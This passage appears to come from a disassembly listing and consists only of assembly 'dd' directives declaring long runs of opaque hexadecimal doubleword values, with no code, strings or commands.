0B462604Dh, 5061856Eh dd 0F61DE7D8h, 0E8A314B3h, 0AA1C7A18h, 4E5067E7h, 64B09636h dd 0CDE6ED70h, 9B8DE260h, 4CC4D74Ah, 4A598C49h, 6CBADAF3h dd 0E1EA1934h, 4CA0AEB4h, 3AA0C0EBh, 25586DAAh, 2E356CE3h dd 0B620E7FAh, 5596191Fh, 0AE4CBCABh, 0BC90D0h, 0CB482634h dd 60295AD9h, 111D6D6Eh, 0E130DC79h, 99B78F1Dh, 6DB27F4Dh dd 89B9A9D7h, 0ABB7D1D9h, 0DD24CF17h, 0E137F4C0h, 1FD6E611h dd 7C44EE39h, 8F442EC2h, 75D8F6D7h, 45D614A2h, 0ACF3682Ch dd 8C1144Ch, 0A0CF0A5Eh, 223E2CF7h, 50D2883Bh, 28143F50h dd 9838B2DBh, 0E86B9EDBh, 5CFA98ECh, 7B749F24h, 0FCC83E43h dd 2151CD2Bh, 837E3421h, 3D3D98FFh, 92D6E8A6h, 0E92508B4h dd 0AAAF09C0h, 9CC8638Bh, 528F6FF4h, 5A13AD92h, 0B8C7A3BAh dd 55540DFCh, 0EF6B754h, 0BAE9CC62h, 0CD38C2FBh, 0E19FD371h dd 2CCE231Ch, 0A365E8EBh, 0E1F72FCEh, 32EA26E6h, 3BC52A88h dd 917251C5h, 5528E7E6h, 93F220B6h, 324F2011h, 0FEBF2A88h dd 0D3FA8F4Bh, 3A30FCF6h, 0E679E2C4h, 0E50A0EACh, 3D32D01Ch dd 1FC3892Eh, 0B4CD787Ah, 0C77E0F31h, 0DC89D69Ch, 2095C321h dd 7B94BBC5h, 6A88EE9h, 0ED7A88E9h, 0E880DED7h, 0F921FFD7h dd 0DDD10A2Dh, 25B7E7C1h, 8F646274h, 0E9C93BF4h, 0D0D56A67h dd 4C30231Ah, 0ADFAB8EBh, 0E95C8367h, 0C933E26Fh, 0BF4CF66h dd 0BD69BD79h, 0BC737FEh, 0F12D45BBh, 0FE03CB68h, 3B4F04C1h dd 46FEB312h, 5EC21909h, 0C5B4D4DBh, 0A339B6AAh, 0EAE9D4BCh dd 0FF995C9Ah, 7AFA7A32h, 0F52F7C60h, 0CCEE4B02h, 5CCA41E0h dd 0CCD8BA01h, 2295DA6Dh, 0C1960FA0h, 2F842754h, 0FD04DBA5h dd 2833F348h, 0BCE35DCEh, 0B8A382D2h, 34EE9D0Ch, 0D35A8C6Bh dd 84F430B0h, 2AE0A9A8h, 1E761502h, 1FD1FDEFh, 3B0A57B7h dd 32C1FDEFh, 0CC103645h, 93E9228Dh, 0D34F68A8h, 0DAB356B0h dd 0B2E29023h, 0BC01EA4Bh, 69959CAFh, 51F83D1Dh, 9A886B7Ch dd 828BB10Fh, 47B3762Fh, 77185F59h, 655F7124h, 0B0D8E4E7h dd 0B66072Ch, 1AC364D7h, 670E6178h, 0A7FE30D8h, 2E23ECFFh dd 0D9A46E53h, 190CC347h, 0BD60DC4Ch, 0BA8A0AE0h, 2D1B51DDh dd 5DA6873Ah, 0DE07E4EAh, 36B5F1DEh, 655F0668h, 0D0E52095h dd 61988097h, 59882C0Bh, 0F65335B4h, 2536F371h, 0C64E709Bh dd 10A05D33h, 28F305C8h, 88A68980h, 75AF12F2h, 1ECF0227h dd 4CBBAB43h, 63C43208h, 0D8483EE9h, 80AC785Eh, 0B0DB56B0h dd 7885DEBAh, 0B3ABFDEFh, 2EDB0D82h, 0FD8EFDEFh, 0B5751DCAh dd 90B312Fh, 9CCF8096h, 0C0047B48h, 33F60B47h, 0C0A2D881h dd 5EE751A3h, 7AF72Bh, 0C271EC6Dh, 0E72BA22Dh, 5549C43Ah dd 0EB3C2B70h, 0F1C904A1h, 3DCB8F5Eh, 55E56381h, 0A7DBDA72h dd 266A92Ah, 5AAD2F17h dd 7695C11Bh, 0B5D2E25Fh, 70A26DFh, 1F7639A7h, 0B47B81ADh dd 71FB2EE0h, 0DEEE7014h, 7C182B20h, 0BB873A18h, 0E6C00FEBh dd 0BD6E466Bh, 0C7032E79h, 0BE416923h, 67502EB0h, 120252ADh dd 79E4E91Eh, 62B4AD98h, 5A7EE85Dh, 3F88923h, 9E416380h dd 1572C22Dh, 4F4F9201h, 0DDAD8FADh, 0CACC8D85h, 2127D855h dd 88B23FBAh, 655F066Bh, 0B2FD5848h, 0FBFECB81h, 2DC39AF9h dd 3C667BAEh, 1A6162E7h, 0BD77898Dh, 0AD95FDE0h, 5B6C8746h dd 0C7208171h, 0DAE477C0h, 9E576894h, 7D72B8EEh, 74654B31h dd 21DC7CEFh, 0D4680BA5h, 0ED720519h, 9BDD434Bh, 7E3CAFDBh dd 7EE639DFh, 9A4E2C9Bh, 2B8060A2h, 9E98CADEh, 295D7AD7h dd 29AD8FB9h, 18BD9CE1h, 0AB7D91Ch, 0E0509D5Eh, 7821985Ah dd 5E57CEEEh, 0DC0052ADh, 44F5ACD7h, 8CBD62B5h, 0B8E5EE1Fh dd 0EE4821FFh, 764DE2E3h, 136D6C5Fh, 3B4EC339h, 47A85819h dd 655F7053h, 90AF63D3h, 6F393E68h, 440FF9A2h, 83C44B3Eh dd 0D78A8C41h, 0D11E74BBh, 43CF6A65h, 35961E60h, 8196B6C5h dd 0F0844268h, 0BBA9D589h, 0E624AF2Dh, 0D91D0573h, 180108D2h dd 1B1319F1h, 0E783F385h, 8432BF14h, 88C916FCh, 0C6DA40EEh dd 3DEF8Dh, 4CF12EB0h, 26F2859Dh, 0DA5120FFh, 2140C867h dd 0CE41F93Dh, 0F193C3BAh, 826AEFF2h, 9BF856B0h, 63CAF91Fh dd 0CC74A7B7h, 21C92FF6h, 2C89B154h, 0ABBF680Ch, 9ADABF84h dd 4DB6ECB8h, 0B5405627h, 9E30937Fh, 2D6319A5h, 0CF5D0474h dd 0D58C13BDh, 0CF223534h, 0CE07B5C2h, 0E6AFB8BFh, 0F6FB0A8Ah dd 2CBE88ACh, 5139FDEFh, 466B292Fh, 929D6B8Dh, 0F7623A74h dd 269C895h, 0BF2BD719h, 9FAA9CFDh, 0C46AA3CBh, 355A9D26h dd 0E56B6D2Bh, 527ABBB4h, 0A9B23F68h, 874FC5CCh, 733B6582h dd 430C2DFCh, 571BC516h, 5F14F87Ch, 48BE3476h, 0FBE50F5Bh dd 46D6F51Ch, 0C0060826h, 0A1C323CCh, 2C2BF1A5h, 0BDD251EBh dd 7BCF25ECh, 93ABAD93h, 9B5D0E9Eh, 0A3413DB4h, 0A683454Fh dd 33FCB4BCh, 0B8794412h, 71D63FD0h, 0ABD2C7B3h, 58635C77h dd 74972E0h, 0BF3D5A78h, 0AA8D9EB0h, 2FC320D4h, 6DF7E5A8h dd 2DF5E079h, 11EAC02Ch, 46AA784Bh, 3548E2AEh, 80E8381Eh dd 0D35D570Fh, 0F6FFF3CDh, 72A7AB47h, 0BF3C318Fh, 0C1356B0h dd 0F54F5270h, 5792F016h, 1743BF12h, 70392BA6h, 67D5E678h dd 2019135Bh, 65D26A92h, 2329BBE7h, 834E3DB3h, 87DBB92Dh dd 0E74FD82Ch, 0B660716h, 0D2B031F2h, 772256B0h, 0CABA222Ch dd 0F3BB61C7h, 3DE8EF22h, 6FD50A3Bh, 57968E78h, 0F2A471C3h dd 0BE6BEC9Dh, 0BB640468h, 0E4E61AC1h, 88F5AC4Ch, 0D34F1E60h dd 9ADACE57h, 1B542AB8h, 9A733D0Eh, 0A43E91FBh, 0A9728F07h dd 83C36827h, 540FAE0Bh, 0C24724E6h, 907FF756h, 95E6F91Dh dd 5A5274D1h, 72FA2D4Fh, 609CA62Ah, 9A7BC269h, 5C6E138h dd 0A3B893D0h, 0F03B068Fh, 0A11B40DDh, 0D9474E7Dh, 0ECE95C55h dd 5801F090h, 2716B44Dh, 4204DB23h, 9A6F1CFAh, 6C9F1247h dd 0FD8F4C60h, 0B33931D0h, 0C8624F22h, 5E0AB1B0h, 605BA7DEh dd 4E292E00h, 8307E4E8h, 0BD1F4968h, 0ED672CE0h, 7FEEBB28h dd 0E8F197F1h, 5B0ED88Dh, 0B9B3B14Fh, 3BE1F17h, 0B8C76FCCh dd 0B6DC1FE8h, 0C968E0D1h, 0FEACDBC2h, 737BD3C6h, 0E0BECAAh dd 0A5E3ACAh, 4D5B9889h, 0BF9F6CC9h, 9DC29F25h, 6D803998h dd 82D6477h, 0C2CE0865h, 8D28D3F0h, 0E7A34F3Dh, 2C7DCC46h dd 19A03F51h, 0E3C7F97Ah, 0D40FA9BFh, 0D31E36E7h, 0B501ABE2h dd 9ADD402Dh, 30926B28h, 1821F0FCh, 94F264B3h, 0FF764625h dd 471FF49Ah, 726790EDh, 0EBBE2ECDh, 302E74F1h, 0D51CB432h dd 1075A2BFh, 76ED7651h, 0CDBCDE6h, 0E396058Ch, 557CAC3Dh dd 2A7B6F0h, 0A3B01FC5h, 4FC4E40Dh, 32423C9Eh, 0BEEEF4Fh dd 0FAE99466h, 60A72BC3h, 1F564128h, 4B485D70h, 0BE195840h dd 4C4D7A84h, 195E4142h, 0B3A9C5E4h, 815D2C6Bh, 30AE8213h dd 2069504Dh, 0AF4934DBh, 71CFD2E3h, 3E3FB904h, 0BDDF7DFEh dd 9C1DCC67h, 4AE01AA7h, 4B3FAB21h, 1668DE80h, 0FC7F919h dd 70160D16h, 24ED08C4h, 0A0F5A1B0h, 562AE30Dh, 74FD9F30h dd 38DA817h, 805B34CAh, 3AF7EBFDh, 0E7327330h, 77ACF763h dd 0EBA348A6h, 891913E5h, 7589F7D2h, 7B7D44E6h, 0BD5DDAC4h dd 0CDD17E75h, 1CAA898Ah, 0E9BA0C5Fh, 1C47D7D8h, 798DB70Ah dd 4213F74Dh, 1C96B292h, 0C8D781B4h, 5B790EF0h, 1E79A65Eh dd 0E848BF8h, 0F951DD87h, 49367E53h, 0A1FEC96h, 0D6261D10h dd 4464BC88h, 38B29FEAh, 0F1DB503h, 2D43F70Dh, 18F249A2h dd 111B8881h, 6778C118h, 694BE108h, 43B101D1h, 78E4DA05h dd 4DC4213Ch, 8CD5F6DCh, 9469E563h, 15B77A0Fh, 9BA0A186h dd 0ADC23999h, 3983F36Ah, 2887A204h, 4B2AF8B6h, 615415D3h dd 0E111006Ah, 1A7B2E78h, 0A03AB495h, 859903DDh, 964122Ah dd 3B215D23h, 4AA821DAh, 0B07AAD00h, 322C1E7Eh, 493F2CC6h dd 6A7576D6h, 16D17E75h, 0E47AC4EBh, 8E161B02h, 99C1C852h dd 47E1622Ch, 1AEC8D25h, 1820EBE6h, 4580C74Eh, 12B0158Dh dd 0D8C80A44h, 863F3082h, 0D3BCAF11h, 76FDBFB5h, 8DAE6318h dd 21EDF694h, 0BE752F20h, 82C7F8F6h, 0B7270079h, 50BD98E5h dd 2DD5F567h, 0ACD17F04h, 4C576B1Dh, 0CCD17E74h, 0E4CEC77Dh dd 0F6498F26h, 53F260EDh, 0D06992E7h, 0DBD88662h, 0A5556880h dd 8508A15Ch, 8BC889D2h, 86767203h, 10DED2C3h, 3E966AC5h dd 2C3FBEFFh, 4773F8B6h, 9285D372h, 0E8FCBDD3h, 0CD4C8A9h dd 0D53FDAC4h, 1DE63548h, 96CBB709h, 41847972h, 1B01DB19h dd 986BAA6h, 1AEF5396h, 0FA8FD3E6h, 3F798D46h, 72E09237h dd 0E9B7BE46h, 0FD38C909h, 1A9AFF8Dh, 0ACCC3579h, 8E619A7Bh dd 5C558FEBh, 9C4FA4FBh, 0D77C63B3h, 0C6701FFDh, 0DF3E3B2Dh dd 55704B0Ah, 28A0B71Ch, 0D06B1FF0h, 616FB5AAh, 366CDE9Eh dd 97BB5E57h, 3969F29Eh, 402F4C44h, 0E0CA0D67h, 2B738160h dd 3F558C96h, 42EF88E6h, 1B9FC9C3h, 5007EB88h, 0E0482FAh dd 0A0DB1B16h, 56BF0DEh, 7CAAD2A0h, 2A54041Eh, 91D3E115h dd 0A8E153D6h, 0AED060Bh, 30BE6C35h, 309D06F9h, 162ECFB3h dd 0E090D583h, 352155E6h, 0FDC5517Dh, 605E7F57h, 5C281FFAh dd 6374D217h, 4348F11Eh, 25E66C4h, 96D52A31h, 0FC926AD6h dd 2A73D8C8h, 0B73EED16h, 5DA2434Bh, 55E39BE4h, 3608AF80h dd 2FADE5F6h, 3A01AF93h, 0E43CD2BBh, 0E58855CAh, 81D7B2F1h dd 0AF39BA6Ah, 0F3B70E08h, 4DA1BE03h, 5BF2D4AAh, 0C2D580F3h dd 27E5C20Bh, 4E73FC3h, 18AB5271h, 8A4CAAB0h, 0BE2F04B6h dd 8E84FB7h, 0C935B2B1h, 898EA104h, 7739BCF1h, 497DB292h dd 546113B0h, 4FE3CABEh, 4E663DB2h, 1B720D7Dh, 1FC9034Ch dd 262B1AA4h, 32431947h, 7D39BD1Eh, 8A5FE5B6h, 787202FFh dd 7BDBF3B8h, 44BD95C5h, 56790CE6h, 0FB31BF05h, 1D0E7B7Dh dd 33229344h, 995A1FFDh, 37DB3625h, 7FB3B413h, 10191FFDh dd 0EFF6E0ACh, 7212D6Bh, 8187FBAAh, 0C601BD62h, 77916168h dd 0B941DBD5h, 0A8F9D5E1h, 78305601h, 0DB71F8B6h, 72EA1C5Ch dd 7E846E32h, 941ECD63h, 1FC9228Bh, 17A61124h, 7B302132h dd 54DA51E3h, 0F98D4ECAh, 85C7F8C5h, 0AF7A73A3h, 0F08A57D0h dd 0F94AFE7Dh, 6CD17F03h, 331C09D0h, 45D17E5Ah, 57BF7316h dd 1FC927E0h, 94B1FE60h dd 0DC3057D2h, 86915E0Ah, 85B70FF1h, 3C5BB408h, 0FF3BDE64h dd 7719F716h, 5B07A118h, 71CE0F0h, 0F005A4B2h, 0C350129Eh dd 1B34CAAAh, 0B0F845ACh, 413736CEh, 0FD6D5144h, 3BF83CA7h dd 4C80B414h, 40251B86h, 0D2AD94E9h, 9E04B43Eh, 3F8A0B89h dd 0CCFB7487h, 52FD8E73h, 4CB3B1CAh, 59D020CDh, 322A115Bh dd 560BA9C1h, 40B63AC6h, 7DD3C5Bh, 8821670Bh, 436F9F9Fh dd 56B355Ch, 0A8970F3Ch, 43BC8546h, 0D8B453D9h, 0A94DE9E3h dd 343C7064h, 0B137B5C4h, 0DAEEBF34h, 0DCB3FF48h, 0E214BF6Eh dd 5A7E5252h, 0C6AB8D65h, 8076DD7Eh, 1434FA93h, 6F0279B9h dd 52F562BBh, 5FE6D986h, 2145CDB1h, 109C2FE8h, 4F11746h dd 76764C8Fh, 7E376D94h, 0C0CC2E19h, 0C221766Fh, 87EBE1F0h dd 8BA2E395h, 2C6C0F04h, 8FF0A61Ch, 0BE717041h, 0BB1DD5D1h dd 0E751C742h, 25F6F41Bh, 0D8CD24ADh, 631377D9h, 0F6FC39C4h dd 6B40747Dh, 0A3AFD020h, 0D61B1612h, 5976B7D9h, 0D1141673h dd 38ED304h, 27D38324h, 809A7E15h, 0BCEEBF23h, 41602B80h dd 9B5AF9D0h, 0D2AED3A8h, 0A6AC523Eh, 0E816FC3Dh, 9DF84536h dd 45D21324h, 0EF13846Bh, 0AABD1A3Eh, 0E18B4EC7h, 0C5C73ABh dd 999112F2h, 7CE0EF65h, 0E9E332B9h, 70FE4C50h, 49C6A91Eh dd 4A6A0515h, 0DA11CD95h, 9C0FCD6Eh, 0AB3C7C20h, 0B260E624h dd 0F124B882h, 7CE0E953h, 0EC37DEFCh, 6CF845F8h, 0A2EE98Eh dd 1219E8EAh, 0E864C5F6h, 0DAEEC06Eh, 0E18B5276h, 811573ABh dd 70F84536h, 4032BE06h, 2339EBC2h, 6D487A74h, 1219F6D2h dd 318A8AD4h, 0DB9BC91Dh, 0BB60832Bh, 0F4ACC593h, 9D32D06Eh dd 0AE1AC91Dh, 0E28AA186h, 0C2E6D60Fh, 7F2AEFFBh, 6A0A7229h dd 5361C2E7h, 39F153BDh, 260A9941h, 1613C544h, 0D5AB1C96h dd 100CE8D9h, 0F607A3ECh, 65487735h, 0E77F0877h, 0B7D77375h dd 0DE5FAA27h, 0CB2DBF6Eh, 0F0DD8248h, 5BE97239h, 7CE0A0ECh dd 0BC73536Dh, 0BEE4C605h, 287E6ECBh, 263F794Bh, 54DC4175h dd 0D78D4C8Fh, 1EA85BABh, 5248E288h, 0C7EEBF59h, 784B7BF8h dd 1B519BB7h, 570ACFE7h, 0EE184A4Ah, 0BB1163E3h, 97F8D8AFh dd 76F4FAA7h, 0CE8DE717h, 0DC71038Bh, 0FDEA2C0Fh, 523BE248h dd 0E92A18D6h, 6372D3Eh, 6ADF051Bh, 9D5D694Ch, 583B5397h dd 0D15CC578h, 30A31D62h, 271BBB3Fh, 89F8F681h, 0C0787CB7h dd 98AA1CB1h, 267088BEh, 723081AAh, 4DDD50E6h, 0BC33E249h dd 0D8728B2Fh, 1205F771h, 0A9A55A07h, 9BF11E88h, 0BE8CB179h dd 0C1AAD90Bh, 0FF37FE0Ah, 60D3BF6Fh, 0A756D0D3h, 0ED222A18h dd 264C3D0Ah, 8DA8DAF3h, 18E9966Bh, 0FBD81042h, 0EC9D1599h dd 812A596Bh, 0F9F8F7A8h, 0DCB5E622h, 9616F24Dh, 7853407Ah dd 0C8EC1971h, 0A64CBAA2h, 23B70D87h, 0DFA11467h, 0DDBFC5AEh dd 39DD8248h, 529CF391h, 0B304D9FDh, 52A2CBFBh, 93476A5Ah dd 0FD23BD0Dh, 589409FEh, 0BF984C8Eh, 0A5219B5Eh, 40F75F7Bh dd 41F9D0BCh, 0BA2BBC8Bh, 0EBD62301h, 0A28B5388h, 2BD045B8h dd 0B546FCEAh, 7F883A49h, 1CB9430Dh, 2BAB35BBh, 44BF95E0h dd 7B0AF977h, 1CA439DEh, 21C53743h, 0F320A2DEh, 5E7D25Ch dd 0B553D967h, 0FFC9F205h, 0B69D0D28h, 0ADD2E7F7h, 93C27E1Dh dd 65460FBh, 63E34649h, 0B5819C3Bh, 25C2EEA2h, 0B7EE479h dd 45FA578Fh, 39887Eh, 2B816AF3h, 0D31BCAF4h, 69EBEE23h dd 0EFDCC4BEh, 0C5B10D9Ah, 582757C1h, 0D067F690h, 6A0052DEh dd 0AB957237h, 0B617C9CDh, 938A0FD0h, 0F618B3C5h, 74007B3Dh dd 5181B1F0h, 1CE2CF68h, 3748E1A4h, 0F57E44EAh, 81711DAEh dd 6FA48FDEh, 77FA9E27h, 0CE15A781h, 0B9C57123h, 0D1AAD77Fh dd 6F2D5487h, 941CEAF2h, 12E553ADh, 883E8CF3h, 9BA8BD2Ah dd 0D299644Bh, 0A152EBFAh, 38FE5177h, 81B49717h, 3902F623h dd 4A232C43h, 660233A6h, 0C7DB2555h, 2EFBB8E6h, 68A138DBh dd 0BE8CE431h, 6D793D5Ch, 9BA48F32h, 0BEFF7A99h, 0FF63F508h dd 80E0BDB5h, 0D98C6A4Bh, 0A8D68AEFh, 0A5B151A7h, 0C5437300h dd 3A64E832h, 970DDC2h, 6914CCE1h, 0E91574C1h, 5BF5BC80h dd 0BCDC525h, 344B4E37h, 2A33DC5Ch, 981C4291h, 87137892h dd 0AE5269ADh, 0C5A77338h, 0B367C3C2h, 0E54531AEh, 6FE6CCEDh dd 0D6ED5D34h, 45410D9Ah, 0D1BC81EAh, 4DF87F41h, 9341DBECh dd 160AFE67h, 0B008A701h, 0E6DBF47Ah, 0E2AC5B64h, 6DD034ADh dd 4AF7F49Ah, 3D92E98Bh, 4748E01Dh, 0ED85507Ah, 8ECBE20Eh dd 27836FFCh, 86910834h, 0DA2168D0h, 8A10F0EEh, 12EF8C47h dd 0ECF93E17h, 207A71C3h, 0BC420D27h, 509CF58h, 0D146D68Fh dd 0D7808FEEh, 0ECF91B52h, 0BDDDC7C3h, 4D737373h, 6B1924C6h dd 8AB1F7E1h, 0E7339452h, 0F865FDD1h, 0A95915F7h, 0FF062D0Bh dd 0B00DDB2Ch, 9856717Fh, 0C4474321h, 3CAB68EBh, 97DD84ABh dd 0AFB8FC56h, 0BE0DCB08h, 0A70346E2h, 8A17685Eh, 99E6C971h dd 3E6A1223h, 2EFBB883h, 485B0FDBh, 4A521195h, 783E8D81h dd 8994D204h, 7AA28DA9h, 0A36E8B1Bh, 0AA0FAE8Bh, 350C44CAh dd 0DEE9CD1Fh, 95A56F34h, 5C2579B5h, 27500D59h, 0C91772E0h dd 0DD6F568Bh, 0C5D4F623h, 138FCA90h, 14AC582Ah, 2CC1F51Ah dd 2448990Eh, 0D5B11DA3h, 0E8E22917h, 852BE439h, 0B194E5BBh dd 0FD9F6D23h, 8D976E4Bh, 5577A416h, 5BCAACA8h, 9DD0C561h dd 68B18C22h, 0B2500DE5h, 68AE5373h, 98D8D501h, 2B5ADDC2h dd 360A209Bh, 3B843DD4h, 2749535Ch, 144ADA9Bh, 1804F35h dd 603A7022h, 0DB24D5BEh, 6D3A7721h, 274953F7h, 1CB4319Bh dd 28023D16h, 2CB4AECBh, 57F9E478h, 0B6408EFFh, 5D030BCBh dd 0E57C1CAh, 8B230A73h, 0D4B1E39h, 0D87AE47Bh, 2F2F5998h dd 997D119Ch, 471F77Bh, 4714088Fh, 0DDACAFB7h, 1A8618FCh dd 10587E54h, 2B28ECB7h, 0B2E1866Bh, 3D8E191Ch, 0FDA7FBE4h dd 0B2DDC03Bh, 40EC9326h, 5C201939h, 2768F1FEh, 0B1CA0FEBh dd 0B787B54Bh, 531FE47Bh, 62D79068h, 2E341939h, 65C069CCh dd 911E8073h, 27701484h, 0B1D107A4h, 17E70F94h, 0CC409568h dd 0C4BE3920h, 87D1484h, 997F5E27h, 925EA97Bh, 0AE585B6Ah dd 997AEA75h, 997AE198h, 0DF0FDC7Bh, 0F771E47Bh, 0CC4095E5h dd 1DAC3E35h, 0CD59A486h, 8F888326h, 0A904185Ah, 9DE8BFF1h dd 1D9F0A7Bh, 0E374BDBBh, 197AE3ECh, 1B07284Ch, 0A7C3EDC9h dd 967AE458h, 96589EF5h, 1DC17328h, 0CC4095E4h, 0F67F0A73h dd 0B4239F8Eh, 0BF9C25F0h, 71E7B5C6h, 0B98B5731h, 2F35DB6Dh dd 0A69F18ECh, 997AEAF2h, 0A2D87AA9h, 852A32C0h, 0B3A6FE62h dd 0B15C00C5h, 37206849h, 0E08A1C10h, 997F5EFAh, 3FFA027Bh dd 0D3554703h, 0ECDF96E0h, 0E3AF1C23h, 379436F6h, 0F7CB2209h dd 0E8AC647Bh, 997AE1C1h, 0A4C5537Bh, 0B1D8B074h, 969D98C3h dd 3AD11C7Fh, 0A6890E97h, 997F176Ah, 86C32E98h, 4C831C3h dd 8E63FDAh, 0F23C32A4h, 28F4E47Bh, 2F18083Ah, 78D221FAh dd 9DF262DEh, 5676E47Bh, 0C11E25F9h, 7A3591BEh, 0C99E43FCh dd 6C72A88Ah, 80BDCA4Ch, 0A07F857Ah, 3EEB0DD3h, 3CCF1F0Ah dd 1E248543h, 0A6902480h, 229BCBC9h, 39FC0299h, 3A181C71h dd 17C3F26Dh, 9E0ED2F7h, 9DEEF77Bh, 0E698E47Bh, 4B2B871Eh dd 5F8EE926h, 0AE4CBA16h, 997AE35Fh, 60112AFDh, 68B43568h dd 6CAD1C48h, 958337F3h, 90210895h, 9F82D99Eh, 93CF5B82h dd 289292Ch, 0A692FEDEh dd 9632EB61h, 18259A3Ch, 0B69B94BDh, 3227991Bh, 54696A0Fh dd 0D5A657D5h, 9F9C810Fh, 843A27EFh, 9976E20Ch, 78F34DEFh dd 8ECBEEC0h, 0B9C76F1Bh, 9E14301Bh, 0D188A0EFh, 0C85AF06Dh dd 7E2798F3h, 5467F64Ch, 0B6B45FD5h, 997B6C1Bh, 172ADEEFh dd 0DC67F5B8h, 0B5449189h, 49D00E1Bh, 9976E20Ch, 78EA4DEFh dd 8EC3EEF3h, 0B9C76F1Bh, 9E14341Bh, 0B445B3EFh, 0D6BF6B4Ch dd 0E98ACB30h, 9AD5A6A8h, 0F0E92C7Ch, 5CC4CC49h, 0F9597F57h dd 0B709F3Ch, 0B370A2A6h, 0EEC4CC4Ch, 49928051h, 0D1F16635h dd 81AB8F34h, 35B6E749h, 0FE686E64h, 0DA6EBD37h, 0DB791AACh dd 73AA0310h, 79858807h, 6E0A7B8Fh, 8B8FF8BDh, 51E191D0h dd 24DC7EC1h, 0AC6E4679h, 559406CEh, 359934A5h, 0F0DC4BD2h dd 0FBB3264Ch, 0BEB0B8F7h, 0AE3AEFC6h, 246F0C01h, 1B83AD3Bh dd 0C89659CFh, 0F4F2E5B1h, 21DE4B05h, 0C3DAB8C3h, 8AAD6308h dd 8C578DB2h, 0D05FECA5h, 0C2F3AF11h, 97152FF0h, 6C11EE4Ch dd 0FB1B0B37h, 38E429F9h, 2C0039F2h, 0AE10E3BCh, 0C730A888h dd 0A4D6D9BFh, 8B3E6081h, 429E7E9h, 0CECC1D89h, 6FA27188h dd 0E1693254h, 7F303E71h, 531FB128h, 2B96947h, 0D006FE80h dd 6B76AA92h, 0FC19D3F1h, 6C45AFC7h, 0Ch dup(85F53254h) dd 38697554h, 0A6CD349Eh, 5A9712BAh, 0FB2812E0h, 76F98CCh dd 11A76FE0h, 0D8D4BBD3h, 5A979CA2h, 0FB281914h, 0DB0ECDCCh dd 0F9B36FDFh, 0FDD4BBD2h, 5A97DEA6h, 0FB281C28h, 7712DCCh dd 118F6FE0h, 0E805BBD3h, 0A1FD17AFh, 32AD9FEBh, 0AF85AFF9h dd 31104D4Fh, 0F229107Ch, 33B176BAh, 565AE245h, 0AF03B54Eh dd 0D7B86B78h, 0E2825546h, 0D233762Eh, 98228822h, 1DF53254h dd 53B82495h, 80D5FF1Dh, 5499D180h, 3AF01588h, 0A193BBCFh dd 0F3D99126h, 0B9DA613Fh, 33DC33Ah, 23859510h, 369D2D75h dd 908F40D1h, 0FB9485DEh, 0B224539Ah, 0A73CF6DCh, 97408FF9h dd 1722281Eh, 9ADCEF7Bh, 60EADA3Eh, 83105B9Ah, 0BBD484F8h dd 0A8089296h, 0F9FD3254h, 4777A065h, 8ADF1B5Eh, 0F0C952B0h dd 41091FA9h, 948A8D5Ch, 9BA94CA2h, 41D4FD9h, 0F556874h dd 3FC60BBDh, 0BB5B4777h, 14A9B039h, 63250DB3h, 5996F4B8h dd 3CF53639h, 0BE47D16Fh, 9F10143Bh, 747C0CA4h, 2E729CC0h dd 6015DF4Ch, 0CA7CD0FCh, 885DEAA2h, 0B378925h, 74C5A916h dd 0E7D4E5A3h, 8D9E8BE0h, 847860CBh, 0FD68B22Dh, 243DB93Bh dd 284BBEDAh, 8F52A1EBh, 20032927h, 9CDB3935h, 1E65D78Bh dd 0DF7E9AB8h, 210700F6h, 43B06C81h, 9C593F8Ah, 0C50DF5B4h dd 0CFD7DF82h, 0BF890055h, 925B125Eh, 655320Eh, 3D1D8588h dd 0B04ABD47h, 0FB6B6D5Eh, 0A739DDD7h, 3F7D4FF8h, 18DEA071h dd 0EE60DE29h, 121BC765h, 0B793112h, 7E781452h, 0A1C7D518h dd 411C6AF3h, 6C13857Dh, 2ADE4513h, 26A8F276h, 0C876887Dh dd 26968EF0h, 0E991A069h, 0CD7D9BF3h, 8D6CBAEDh, 32D8CFDBh dd 0EEAD5DFEh, 27221B3Bh, 1B6C44ADh, 4FE736E9h, 0CD264D89h dd 0C1DF2207h, 93DEC968h, 5F126516h, 795CBC90h, 0E54AC9B2h dd 0B824DF84h, 0DF6BEF53h, 273BED25h, 100D7EC2h, 4033CC1h dd 0D35C0781h, 0FF4EC0F4h, 0E35015A9h, 0A4E5AD92h, 8B340782h dd 568DDECBh, 0B4D86A16h, 0F9895CFBh, 0C63A07A3h, 26612789h dd 0A11734Dh, 9303D991h, 1340AFF9h, 0AB1A59EAh, 7B7E53Fh dd 282A52DCh, 2888C789h, 262ED88Dh, 1B8B5D0Fh, 0AD0B8F29h dd 0B05AA8EBh, 5C2E7E1Ah, 0B0BB8B60h, 0EE3F3800h, 29755E78h dd 9CF4857Dh, 0BC35760h, 5D840EDBh, 0D0AA89E7h, 0C1562526h dd 445035D3h, 5713E0DFh, 90C4C331h, 82B3BF0Ch, 2A47D67Ah dd 5B52D7Ch, 63953C2Dh, 0E39694A4h, 44DF1392h, 26EAE5E9h dd 1750C677h, 7CDE1102h, 895B0D3Eh, 6997740Ah, 8903ED7Ah dd 1542A523h, 82C1624Ch, 8AE02679h, 1B42AB6Ch, 0E5BFFCF0h dd 92FC28E5h, 0B21CAEE4h, 9250C7ACh, 4A96D981h, 4FCEF9Fh dd 45A4CB90h, 5631FBBCh, 67CE45F6h, 0FB2DF006h, 2536115h dd 0B1F76972h, 0DB06CEA8h, 0BE1DB0F1h, 0DE212FD2h, 430E6D9h dd 0DD9B891Ah, 0EEA44C7h, 8F3040DAh, 8ADE94A9h, 0F893A67h dd 208B06CDh, 0A37107D3h, 0CC27C8Dh, 96E4B928h, 3968F27h dd 3B72A5BCh, 6CE1CB58h, 0CC0C3689h, 2288BBFDh, 4C9CE5E8h dd 0EAF93EE2h, 0A0ADFF73h, 0FACE7EF7h, 0A82F3915h, 15660AEEh dd 8B10B1EAh, 0EC50BF9Bh, 1444ABB7h, 1BAC8715h, 0C9445BEAh dd 0DD8ADBEFh, 499BA156h, 3DC3355Ah, 532F63BBh, 0B772C5E6h dd 0D8FB9F72h, 4FD51740h, 5BBBB4EFh, 0A19E7D74h, 14FAE6D4h dd 1BC3B7B8h, 0D48FB6D1h, 0BFD0207Dh, 0F6E359FEh, 702D69DCh dd 7CDC421h, 8DEDC2A5h, 88C682E6h, 0D6055E99h, 0E30DC85h dd 0B3799CEh, 68C74DB9h, 5FBA069h, 171DED41h, 0D3636AAEh dd 0A1718CA8h, 0A505D72Bh, 0D25019F8h, 48CAA895h, 7B12A509h dd 7C8A656Fh, 37B815EEh, 22908EB3h, 4172731h, 7F5404DBh dd 0DB2F83B7h, 0E1B593D5h, 5B267836h, 